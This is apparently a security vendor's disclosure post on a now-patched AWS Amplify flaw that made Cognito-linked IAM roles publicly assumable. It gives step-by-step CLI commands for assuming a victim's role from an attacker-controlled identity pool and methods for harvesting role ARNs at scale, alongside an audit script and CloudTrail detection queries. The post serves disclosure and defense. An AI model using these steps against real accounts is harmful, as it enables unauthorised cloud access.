research

Amplified exposure: How AWS flaws made Amplify IAM roles vulnerable to takeover

April 15, 2024

Amplified Exposure: How Aws Flaws Made Amplify Iam Roles Vulnerable To Takeover

Key Points

  • We identified two variants of a vulnerability in AWS Amplify that exposed identity and access management (IAM) roles associated with Amplify projects, allowing them to become assumable by anyone in the world.
  • If the authentication component was removed from an Amplify project using the Amplify CLI or Amplify Studio built between August 2019 and January 2024, the IAM roles associated with the project were publicly assumable.
  • IAM roles associated with Amplify projects created using the Amplify CLI built between July 2018 and August 2019 had trust policies that allowed anyone in the world to assume them.
  • The CLI vulnerability is tracked as CVE-2024-28056.
  • On the same day we reported the vulnerability to them, AWS released a hotfix for the CLI to mitigate the issue in any newly created roles.
  • AWS has rolled out enhancements to IAM to prevent the creation of vulnerable roles. Additionally, AWS has modified its Security Token Service (STS) to block cross-account role assumption of vulnerable roles. This vulnerability can no longer be exploited.

Timeline

  • January 4, 2024: Datadog Security Research identifies the vulnerable behavior in AWS Amplify.
  • January 9, 2024, 9 a.m. CST: Datadog Security Research contacts AWS with a proof of concept and technical details.
  • January 9, 2024, 2:33 p.m. CST: AWS creates a PR to fix the vulnerability in the Amplify CLI.
  • January 9, 2024, 10:13 p.m. CST: AWS releases version 12.10.1 of the Amplify CLI, ensuring that no future roles will be exposed.
  • January 12, 2024: AWS releases a patch that fixes the version of the vulnerability in Amplify Studio, ensuring that no future roles will be exposed.
  • January 17, 2024: Datadog Security Research releases two detections, AWS IAM role should not have permissive trust with the Cognito Identity service and AWS IAM role should not have permissive trust with the Cognito Identity service and "FullAccess" permissions, to protect customers impacted by this vulnerability and begins proactively contacting customers with privileged IAM roles that were vulnerable.
  • February 28, 2024: AWS releases a patch to prevent an adversary assuming a role susceptible to the first variant of this vulnerability from a different AWS account.
  • February 29, 2024: AWS releases a patch to prevent roles susceptible to the first variant from being created.
  • March 5, 2024: Datadog Security Research meets with AWS to discuss the vulnerability. We disclose that variant two of the vulnerability is still exploitable.
  • April 8, 2024: AWS releases a patch to prevent an adversary assuming a role susceptible to the second variant of this issue from a different AWS account.
  • April 15, 2024: Datadog Security Research and AWS release coordinated disclosure (see AWS security bulletin).

Introduction

One of our core objectives is to explore, identify, and document new methods to attack cloud resources. On occasion, these efforts uncover vulnerabilities in those cloud services, and we work with cloud service providers to ensure their remediation.

We discovered a vulnerability in AWS Amplify that caused Cognito IAM roles associated with the service to become assumable by anyone in the world. In addition, when these roles were publicly exposed, they retained the privileges they had before the exposure.

In this article, we will examine vulnerable configurations for IAM roles with a trust relationship to the Cognito Identity service, how we uncovered a vulnerability in AWS Amplify that exposed these roles to be assumable by anyone, and how this finding impacts Amplify users.

Background

In order to demonstrate the impact of the vulnerability, we will describe how we discovered this behavior.

Amazon Cognito is a "sign-in-as-a-service" offering from AWS, enabling developers to shift the effort of developing an authentication system and securely storing user credentials to AWS.

One of the major features of Cognito is identity pools, which allow developers to authorize authenticated or anonymous users to access AWS resources. Identity pools can issue standard short-lived STS credentials (access keys) for those users.

To do this, Cognito creates a role in the AWS account with a role trust policy that looks similar to the following (this example is specifically for an authenticated Cognito role):

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:00000000-aaaa-1111-bbbb-222222222222"
                },
                "ForAnyValue:StringLike": {
                    "cognito-identity.amazonaws.com:amr": "authenticated"
                }
            }
        }
    ]
}

The most important part of this policy is the Condition element. Without this condition, the trust relationship with the cognito-identity.amazonaws.com service could have allowed anyone in the world to assume this role, as we show in the following sections.

Potential misconfiguration 1: Trust policy without a condition

In order to assume an IAM role with a misconfigured role trust policy we first have to convince the Cognito service to assume the role on our behalf. Under most circumstances, this is not possible. As an example, if you create an identity pool or modify an existing one and attempt to specify an unauthenticated role in a different account you will receive the following error message:

nick.frichette@host % aws cognito-identity set-identity-pool-roles \
--identity-pool-id us-east-1:11111111-aaaa-2222-bbbb-333333333333 \
--roles unauthenticated=arn:aws:iam::222222222222:role/role-in-different-aws-account

An error occurred (AccessDeniedException) when calling the SetIdentityPoolRoles operation: Cross-account pass role is not allowed.

However, we identified a method to assume a role with a misconfigured trust policy by using Cognito’s Basic (classic) authflow. The final step in this authentication flow is to perform an sts:AssumeRoleWithWebIdentity API call. sts:AssumeRoleWithWebIdentity takes an IAM role’s Amazon Resource Name (ARN) as a parameter, allowing us to specify a vulnerable role in a different AWS account. Crucially, specifying a role belonging to a different AWS account did not return an error.

A hypothetical attacker was able to assume an IAM role with a misconfigured role trust policy by creating their own identity pool in their attacker-controlled account. The attacker would then generate the identity token required for the sts:AssumeRoleWithWebIdentity API call using their own identity pool and provide the ARN of the role in the victim account.

Assuming a role in another account using an attacker controlled identity pool
Assuming a role in another account using an attacker controlled identity pool

To demonstrate how an attacker could take advantage of this, consider the following example of a misconfigured role trust policy on a role with the ARN arn:aws:iam::111111111111:role/vulnerable_role:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity"
        }
    ]
}

This policy, without the aforementioned Condition element to protect it, would permit any Cognito Identity pool the ability to assume the role, including those outside the role’s account. No further authentication or authorization was required. From a separate account that they control, an attacker could perform the following steps to assume the role.

  1. Create an attacker-controlled Cognito Identity pool.
    a. aws cognito-identity create-identity-pool --identity-pool-name attacker_id_pool --allow-classic-flow --allow-unauthenticated-identities
    b. This will return an IdentityPoolId, which will be used in the next step.
  2. Generate a Cognito IdentityId using the ID from the previous step.
    a. aws cognito-identity get-id --identity-pool-id <IdentityPoolId from step 1>
    b. This will return an IdentityId that will be used in the next step.
  3. Generate a Cognito web identity token.
    a. aws cognito-identity get-open-id-token --identity-id <IdentityId from step 2>
    b. This will return a Token that will be used in the next step.
  4. Assume the role in the victim’s account using sts:AssumeRoleWithWebIdentity.
    a. aws sts assume-role-with-web-identity --role-arn arn:aws:iam::111111111111:role/vulnerable_role --role-session-name hacked --web-identity-token <Token from step 3>

Following these steps would generate short-lived STS credentials for the vulnerable role in the victim’s account, allowing an adversary to access and interact with all resources to which the role had privileges.

nick.frichette@host % aws sts get-caller-identity
{
    "UserId": "AROAEXAMPLEEXAMPLE123:hacked",
    "Account": "111111111111",
    "Arn": "arn:aws:sts::111111111111:assumed-role/vulnerable_role/hacked"
}

Potential misconfiguration 2: Trust policy with an unauthenticated condition

It is important to note that the process described in misconfiguration #1 would also work when there was an empty Condition element or one where the cognito-identity.amazonaws.com:amr condition was set to unauthenticated. Here is an example policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "ForAnyValue:StringLike": {
                    "cognito-identity.amazonaws.com:amr": "unauthenticated"
                }
            }
        }
    ]
}

This was because IAM was only comparing the condition against the attacker-controlled identity pool, not the pool the victim role was originally configured for. This behavior allowed us to authenticate to IAM roles that had an authenticated condition as well.

Potential misconfiguration 3: Trust policy with an authenticated condition

The process to assume a role that had an authenticated cognito-identity.amazonaws.com:amr condition required an extra step in the form of creating an attacker-controlled Cognito user pool to authenticate against. While this took an extra bit of time, the overall process was still straightforward.

This example assumes you had already created a Cognito user pool in an attacker-controlled AWS account and created a user for it. We also assume you were targeting a role with a trust policy similar to the following:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "ForAnyValue:StringLike": {
                    "cognito-identity.amazonaws.com:amr": "authenticated"
                }
            }
        }
    ]
}
  1. Authenticate to the attacker-controlled user pool.
    a. aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id <attacker controlled client id> --auth-parameters USERNAME=<username>,PASSWORD=<password>
    b. This will return an IdToken that will be used in the next step.
  2. Generate a Cognito IdentityId.
    a. aws cognito-identity get-id --identity-pool-id <attacker controlled identity pool id> --logins '{"cognito-idp.us-east-1.amazonaws.com/<attacker controlled user pool id>":"<IdToken from step 1>"}'
    b. This will return an IdentityId that will be used in the next step.
  3. Generate a Cognito web identity token.
    a. aws cognito-identity get-open-id-token --identity-id <identityId from step 2> --logins '{"cognito-idp.us-east-1.amazonaws.com/<attacker controlled user pool id>":"<IdToken from step 1>"}'
    b. This will return a Token that will be used in the next step.
  4. Assume the role using sts:AssumeRoleWithWebIdentity.
    a. aws sts assume-role-with-web-identity --role-arn arn:aws:iam::111111111111:role/vulnerable_role --role-session-name hacked --web-identity-token <Token from step 3>

Finding vulnerable roles

In the previous section, we described different types of misconfigurations that could impact IAM roles used by Amazon Cognito. To be clear, these were not vulnerabilities in Amazon Cognito, only risky misconfigurations. As part of this research project, we also wanted to understand how common these misconfigurations were in the wild and, if possible, report vulnerable roles to organizations so they could be fixed. We implemented a quick search using publicly available data.

Searching for targets

In order to assume a vulnerable role, we need the Amazon Resource Name (ARN) of that role. There are a number of techniques to achieve this, including:

Similar to the work we have previously published on misconfigured GitHub action role trust policies, we used Sourcegraph to search through public GitHub repositories using a regular expression:

/arn:aws:iam::[0-9]{12}:role\/[\/a-zA-Z0-9-_]+/ count:all archived:yes fork:yes context:global

Using this approach, and removing duplicate or placeholder ARNs, we were able to gather over 8,000 role ARNs in a matter of minutes.

Results: Finding misconfigured roles in the wild

To test if a particular IAM role was vulnerable, we programmatically attempted to assume it using our own Cognito identity pool. We performed this twice for each role to account for the fact that the cognito-identity.amazonaws.com:amr condition could be set to either authenticated or unauthenticated, if it existed.

We were able to write a script that would check for vulnerable roles and indicate if they were vulnerable. This entire process took approximately five minutes.

As we began looking over the results, however, we uncovered interesting findings. Over 90 percent of the vulnerable roles had similar names across a variety of AWS accounts. The following are some examples that we modified to protect their owners, but also to demonstrate the similarity.

  • communicationclient-master-20190713239617-authRole
  • chatamber-20181621961321-authRole
  • ml-yeti-ui-dev-20191316145242-unauthRole
  • aerodeploy-master-132847-authRole
  • liveconveyance-dev-175294-unauthRole

These vulnerable roles almost all ended in either authRole or unauthRole. In addition, some role names appeared to include timestamps dating back to 2018, while others (presumably more recent ones) included six-digit integers to keep them unique.

Another interesting result was that some vulnerable roles belonged to AWS themselves. We found three such roles in the AWS Samples GitHub organization.

After uncovering misconfigured roles, we asked the question: What was it about these roles that made them more likely to be vulnerable?

Tracking down the root cause

We began our search by looking at where these vulnerable roles were located. A large portion of them were in files called team-provider-info.json. A Google search informed us that these files are associated with another AWS service named Amplify.

Amplify is a popular AWS service that makes it easy to develop mobile and web applications. It acts as a framework that allows you to focus on writing code, while Amplify automatically creates and configures infrastructure for your application. This means that Amplify will deploy and configure resources in your AWS account.

To explore the service we created an Amplify project. This added two IAM roles in our account named:

amplify-secrestesting-dev-134733-authRole
amplify-secrestesting-dev-134733-unauthRole

Now, we knew where these roles were coming from (Amplify)! But how were they becoming misconfigured?

How Amplify exposed IAM roles to takeover: Variant one

By default, when Amplify creates these auth and unauth roles in your account, they have a role trust policy that looks like the following:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "",
            "Effect": "Deny",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity"
        }
    ]
}

While this may look similar to the vulnerable configuration we noted previously, it is important to point out that the Effect is set to Deny. This prevents someone from being able to assume the role, so it is safe.

As a part of the Amplify service, you can add an authentication component to your application, allowing you to add features such as user sign-up and sign-in. On the backend, Amplify will deploy and configure Amazon Cognito on your behalf. This authentication component will use the previously created auth and unauth roles for the Amplify project. The auth role is for users who are authenticated to the Amplify app, while the unauth role is for unauthenticated users.

This process can be done either using the Amplify Studio (a console interface for Amplify apps) or through the Amplify CLI with the following command:

$ amplify add auth
Adding the authentication component from Amplify Studio
Adding the authentication component from Amplify Studio

When this occurs, Amplify will configure the role trust policy of the auth and unauth roles to be similar to the following:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "<Cognito Identity Pool Id>"
                },
                "ForAnyValue:StringLike": {
                    "cognito-identity.amazonaws.com:amr": "<authenticated || unauthenticated>"
                }
            }
        }
    ]
}

Again, this role trust policy is safe. It enforces which identity pool can be used to assume the role.

Now, if at any time you chose to remove the authentication component from your Amplify app, Amplify would delete those Cognito resources on the backend and modify the role trust policy of both the auth and unauth roles. It would modify the role trust policy to the following:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity"
        }
    ]
}

We've found it! This is the vulnerable configuration that, as we previously demonstrated, made a role assumable by anyone in the world. Any user who removed the authentication component from their Amplify project for any reason, intentional or not, would have the role trust policy changed to be open to the world. Especially for the authRole, this is explicitly not what developers would intend. Both the Amplify Studio and Amplify CLI exhibited this behavior.

In speaking with customers who were affected, we found the most common reason they removed this component was because a project started with the built-in Cognito resources, then later moved to an external (i.e., outside of Amplify) Cognito user or identity pool, or to a separate identity provider entirely. Amplify users were given no indication that an AWS service or tool was exposing their IAM roles in this way.

We will refer to this version of the vulnerability (without a Condition element) as "variant one" for the remainder of this article.

One challenge of cloud security research is that the services offered by cloud providers are often opaque. They take inputs and return outputs. Any changes to this are usually invisible to outside observers and researchers. However, this is a rare circumstance in which the vulnerable component is in an open source library, and as a result, we can track down when this vulnerable behavior was introduced.

By looking at the commit history of the Cloudformation template in the Amplify CLI, it appears that this vulnerability was introduced in August 2019. In speaking with the team at AWS, we learned that the Amplify Studio makes use of parts of the CLI. Based on this fact, the timeline of the fixes for both, and that both displayed the same vulnerable behavior at time of discovery, it is safe to assume that the Amplify Studio was also affected around that time.

Variant two

After contacting AWS, we began identifying Datadog customers who had vulnerable IAM roles that could be taken over and proactively reaching out to them.

While investigating this, we noticed a strange trend. While the majority of vulnerable roles featured the variant one trust policy above, many featured a different but just as vulnerable policy (which we will refer to as "variant two"):

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "ForAnyValue:StringLike": {
                    "cognito-identity.amazonaws.com:amr": "authenticated",
                }
            }
        }
    ]
}

Misconfigurations with variant two could have either authenticated or unauthenticated for the value of cognito-identity.amazonaws.com:amr and featured the same naming convention of ending in authRole or unauthRole.

The problem, however, was that we could not determine what was causing roles to be misconfigured in this way. We exhausted every possible functionality of Amplify and considered the possibility that it was a combination of two or more factors, but none of these efforts resulted in a misconfigured policy that featured the vulnerable Condition element.

After spending time trying to identify what was making IAM roles vulnerable to variant two, we took a different approach: We produced a list of all roles we could find that were vulnerable to this variant and noticed that none of the roles featured the (presumably newer) six-digit identifier. Additionally, the most recent timestamp we found vulnerable to variant two was from July 2019. This was, crucially, a single month before the commit we identified that made IAM roles vulnerable to variant one.

This information suggested that the misconfiguration may have been older than originally thought. Indeed, on July 3, 2018, a commit was made that set the default role trust policy for the auth and unauth roles to match what we found in variant two.

[... snip ...]
        "AuthRole": {
            "Type": "AWS::IAM::Role",
            "Properties": {
                "RoleName": {"Ref": "AuthRoleName"},
                "AssumeRolePolicyDocument": {
                  "Version": "2012-10-17",
                  "Statement": [
                    {
                      "Sid": "",
                      "Effect": "Allow",
                      "Principal": {
                        "Federated": "cognito-identity.amazonaws.com"
                      },
                      "Action": "sts:AssumeRoleWithWebIdentity",
                      "Condition": {
                        "ForAnyValue:StringLike": {
                          "cognito-identity.amazonaws.com:amr": "authenticated"
                        }
                      }
[... snip ...]

This is important because, unlike variant one, there were no additional steps required to make an IAM role vulnerable. The "variant two" misconfiguration was the default, out-of-the-box configuration for both auth and unauth roles. If you created an Amplify project using the Amplify CLI built between July 3, 2018 and August 8, 2019, your Amplify project’s IAM roles were assumable by anyone in the world.

On August 8, 2019, a commit was made that unintentionally fixed the behavior creating IAM roles vulnerable to variant two. This corroborates our earlier finding that roles that were vulnerable to variant two did not have timestamps beyond July 2019.

Unlike with variant one, we cannot definitively say that the Amplify Studio created roles vulnerable to variant two. While we believe there is strong evidence to assume this, considering how close the two are and the fact that these changes correlate to the right time period, the behavior was no longer present by the time we were able to investigate.

Compounding factors increasing severity

For an adversary looking to break into an AWS account, finding publicly exposed IAM roles provides initial access to an AWS environment without any authentication or authorization. The misconfiguration that AWS Amplify caused is similar to a wildcard Principal in a role trust policy with an extra step.

With this in mind, three compounding factors made this particular vulnerability even more severe.

1. Amplify roles maintained their privileges after authentication was removed

When Amplify modified the role trust policy to allow anyone to assume these roles in a victim account, it did not modify the IAM policies associated with those roles. If a role had privileges to call an API, access an S3 bucket, or read from a DynamoDB table, it could still perform those tasks. In addition, Amplify users could manually modify these IAM roles and attach arbitrary IAM policies to them. Across Datadog customers, we found vulnerable IAM roles that had a variety of "full access" policies attached, including AmazonS3FullAccess and AmazonKinesisFullAccess.

Because AWS exposed these roles such that anyone in the world could assume them, and because the roles maintained their privileges, an adversary abusing this vulnerability would not only have initial access to the AWS account—they would also have privileges over resources under the purview of those roles.

2. Potentially vulnerable role ARNs are easily discoverable

The second factor that increased the likelihood of exploitation is the nature of Amplify and Cognito identity pools. In order to assume the role, an adversary would need to know that role’s ARN. While an ARN is not considered a secret in the same way a password or API key is, finding an ARN is still a challenge that an attacker needs to solve. If this issue impacted any IAM role, an adversary would need to enumerate the ARN through some of the methods we’ve already described, or search for ARNs after gaining a foothold in a victim environment.

However, the nature of Amplify and Cognito identity pools reduces the effort involved in gathering large numbers of IAM role ARNs. These roles are designed for users of Amplify applications and intended to be distributed publicly. Furthermore, a motivated adversary could have simply crawled the internet for Amplify/Cognito-enabled applications, pulled role ARNs or identity pool IDs from their associated JavaScript, and tested if they were vulnerable. Additionally, the role names are (by default) deterministic. If you find an unauthRole from a victim application, you will know the role ARN of the authRole.

As an example of how this could quickly be scaled, an adversary could programmatically search Google for Amplify apps based on their domain. In a quick search, an adversary could find tens of thousands of applications to check for vulnerable roles.

Finding Amplify apps using Google
Finding Amplify apps using Google

While not every Amplify app would have been vulnerable, an attacker would be likely to find vulnerable roles over a large enough dataset.

Andres Riancho explored another potential method for accumulating role ARNs in his 2019 Black Hat USA talk, "Internet-Scale Analysis of AWS Cognito Security". He describes his methodology of finding large numbers of Cognito identity pool IDs by searching through Common Crawl data, an archive of internet content.

3. Exposure started years ago

As mentioned earlier, both variants of this issue have been around for years. Because of this, an unknown number of IAM roles could have been made vulnerable in that time and could have been used to gain initial access to AWS organizations that had them.

An example of how this could be exploited

For a practical example of how an adversary could exploit this vulnerability prior to AWS mitigation efforts, imagine a hypothetical document storage application. This application can authenticate users via single sign-on and requires MFA. Once authenticated, users can upload documents to S3 via the web application and interact with API gateways that authenticate using IAM credentials.

An example Amplify app using Cognito
An example Amplify app using Cognito

However, because of this vulnerability, if the authentication component was removed from the Amplify project—which could occur while moving to a new identity provider, as mentioned previously—Amplify would modify the IAM role’s trust policy to be open to the world:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity"
        }
    ]
}

From here, an adversary could follow the steps we covered in the "Potential misconfiguration 1: Trust policy without a condition" section above. They could create an Identity pool in their own account and use sts:AssumeRoleWithWebIdentity to assume the vulnerable IAM role. No further authentication or authorization would be required.

Exploiting a vulnerable Amplify app
Exploiting a vulnerable Amplify app

AWS response

As a result of our research and subsequent disclosure, AWS released fixes in early January to Amplify to ensure that it no longer created misconfigured roles. However, this did not resolve the problem that there were an unknown number of IAM roles out there that were already made vulnerable.

In late February, AWS rolled out an enhancement to its Security Token Service (STS) that makes exploiting roles with variant one misconfigured trust policies no longer possible in cross-account scenarios. As an example, attempting to assume a role with the following trust policy will return an error.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity"
        }
    ]
}
nick.frichette@host % aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::111111111111:role/vulnerable-authRole \
--role-session-name blah \
--web-identity-token [truncated]

An error occurred (AccessDenied) when calling the AssumeRoleWithWebIdentity operation: Not authorized to perform sts:AssumeRoleWithWebIdentity

This change ensured that customers who unknowingly had vulnerable roles in their accounts could not be exploited. Additionally, AWS added an extra check to prevent customers (or even other software layers such as Amplify) from creating this class of vulnerable role entirely.

Blocked vulnerable policy
Blocked vulnerable policy

Later, in April, AWS added an additional STS enhancement that protects against cross-account role assumption of roles that are misconfigured with variant two. Now, if a role is misconfigured with a Condition element for cognito-identity.amazonaws.com:amr, customers will not be able to assume the role.

How to know if you're affected

If your organization uses AWS Amplify or has in the past, we recommend performing an audit of your roles and potential threat activity via the steps below.

Identifying vulnerable IAM roles

To easily determine if an IAM role was vulnerable in your account, you can use the following Python script to check. Ensure that your shell has credentials configured.

#!/usr/bin/env python3
import boto3
client = boto3.client('iam')

roles = [role for result in client.get_paginator('list_roles').paginate() for role in result['Roles'] ]

vulnerable_roles = []
for role in roles:
    assume_role_policy_statements = role['AssumeRolePolicyDocument']['Statement']
    for statement in assume_role_policy_statements:
        if statement['Effect'] != 'Allow':
            continue
        if "Federated" not in statement['Principal'].keys():
            continue
        if statement['Principal']['Federated'] != "cognito-identity.amazonaws.com":
            continue
        if statement['Action'] != "sts:AssumeRoleWithWebIdentity":
            continue

        vulnerable_condition = False
        if "Condition" not in statement.keys():
            vulnerable_condition = True
        elif statement['Condition'] == {}:
            vulnerable_condition = True
        else:
            vulnerable_condition = True
            for condition_element in statement['Condition']:
                if "cognito-identity.amazonaws.com:aud" in statement['Condition'][condition_element].keys():
                    vulnerable_condition = False
    
        if vulnerable_condition:
            vulnerable_roles.append(role['Arn'])

if len(vulnerable_roles) == 0:
    print("No vulnerable roles found")
else:
    print(f'Found {len(vulnerable_roles)} vulnerable roles:\n')
    for role in vulnerable_roles:
        print(role)

Identifying vulnerable identity pools

It is important to note that while you can no longer assume a role that is vulnerable to variant one or two from an external AWS account, you can still assume those roles using an identity pool in the same account. If your AWS account has a vulnerable role and an identity pool with the basic authflow enabled, an adversary could potentially use that pool via sts:AssumeRoleWithWebIdentity to assume the vulnerable role, resulting in potential privilege escalation.

For this reason, we recommend disabling the basic (classic) authflow for identity pools.

Identifying threat actor activity in your environment

If an external adversary attempted to assume a role in your AWS account using this technique, the activity would generate an sts:AssumeRoleWithWebIdentity CloudTrail event. This event would contain the following elements:

{
    "userIdentity": {
	    "Type": "WebIdentityUser",
        "identityProvider": "cognito-identity.amazonaws.com",
        "principalId": "cognito-identity.amazonaws.com:<identity pool id>:<identity id>",
        "userName": "<identity id>"
    },
    "responseElements": {
        "assumedRoleUser": {
            "arn": "arn:aws:sts::111111111111:assumed-role/victim-role/hacked",
            "assumedRoleId": "AROAEXAMPLEEXAMPLEEXA:hacked"
        },
    "audience": "<identity pool id>",
[...snip...]

The userIdentity.identityProvider would be cognito-identity.amazonaws.com, which indicated that a role had been assumed through the Cognito Identity service. These CloudTrail events include the ID of the identity pool as responseElements.audience. If the identity pool ID included in the CloudTrail event does not belong to your AWS account, this may be an indicator that an attacker has assumed a role in your account.

How Datadog can help

After identifying this vulnerability and the risk it posed, we released two detection rules for Datadog Cloud Security Management (CSM) Misconfigurations on January 17, 2024: "AWS IAM role should not have permissive trust with the Cognito Identity service", and "AWS IAM role should not have permissive trust with the Cognito Identity service and ‘FullAccess’ permissions". We also proactively notified several customers that were affected by this issue and had privileged roles that were exposed. We also contacted customers we identified as being vulnerable due to publicly accessible role ARNs.

CSM Misconfigurations view
CSM Misconfigurations view

If you are a Datadog Cloud Security Management (CSM) customer, you can view the January 17 Security Center post to view impacted resources, or you can view any affected IAM roles in your AWS accounts by clicking on this link.

In addition, you can search your CloudTrail logs for potentially malicious sts:AssumeRoleWithWebIdentity calls using the following logs query:

@eventSource:sts.amazonaws.com @evt.name:AssumeRoleWithWebIdentity @userIdentity.identityProvider:cognito-identity.amazonaws.com 

As mentioned previously, it is still possible for an adversary to use an existing identity pool in your account to assume a vulnerable role by taking advantage of the basic (classic) authflow. To view any Cognito identity pools with this misconfiguration in your AWS accounts, you can use this view in CSM.

Conclusion

In this post, we looked at how an adversary could abuse an IAM role’s misconfigured trust policy to gain initial access to an AWS account. We found a vulnerability in a popular AWS service, Amplify, that exposed IAM roles associated with Amplify projects to be assumed by anyone in the world. Finally, we took a look at how organizations can respond to this threat to determine if they may have been exposed and take action to remediate the issue.

Did you find this article helpful?

Related Content